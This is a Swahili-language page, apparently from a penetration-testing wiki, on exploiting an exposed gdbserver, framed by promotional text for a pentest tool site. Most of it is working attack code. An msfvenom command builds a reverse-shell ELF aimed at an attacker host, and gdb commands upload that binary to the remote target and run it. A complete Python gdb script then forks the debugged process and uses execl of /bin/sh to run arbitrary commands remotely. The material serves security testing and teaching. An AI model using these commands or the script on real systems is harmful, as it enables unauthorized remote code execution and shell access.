Pentesting Remote GdbServer

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Usanidi wa papo hapo wa upimaji wa hatari & kuvamia. Tekeleza upimaji kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa usalama - tunatengeneza zana za desturi, moduli za ugunduzi & uchomaji ili kuwarudishia muda wa kuchimba kwa kina, kuvunja minyororo, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

Taarifa Msingi

gdbserver ni zana inayowezesha uchunguzi wa programu kijijini. Inakimbia pamoja na programu inayohitaji uchunguzi kwenye mfumo huo huo, unaojulikana kama "lengo." Usanidi huu huruhusu GNU Debugger kuunganisha kutoka kwenye mashine tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayochunguzwa zimehifadhiwa. Uunganisho kati ya gdbserver na mchunguzi unaweza kufanywa kupitia TCP au mstari wa serial, kuruhusu usanidi wa uchunguzi wa kipekee.

Unaweza kufanya gdbserver isikilize kwenye bandari yoyote na kwa sasa nmap haiwezi kutambua huduma.

Uchomaji

Pakia na Tekeleza

Unaweza kwa urahisi kuunda nyuma ya mlango wa elfu na msfvenom, kuipakia na kuitekeleza:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Tekeleza amri za kupindukia

Kuna njia nyingine ya kufanya kielekezi kutekeleza amri za kupindukia kupitia skripti ya desturi ya python iliyochukuliwa hapa.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Kwanza unda kwa ndani script hii:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Mipangilio inapatikana mara moja kwa tathmini ya udhaifu na upenyezaji. Tekeleza pentest kamili kutoka popote ukiwa na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tunatengeneza zana za desturi, moduli za ugunduzi na unyonyaji ili kuwarudishia muda wa kuchimba kwa kina, kufungua makasha, na kufurahi.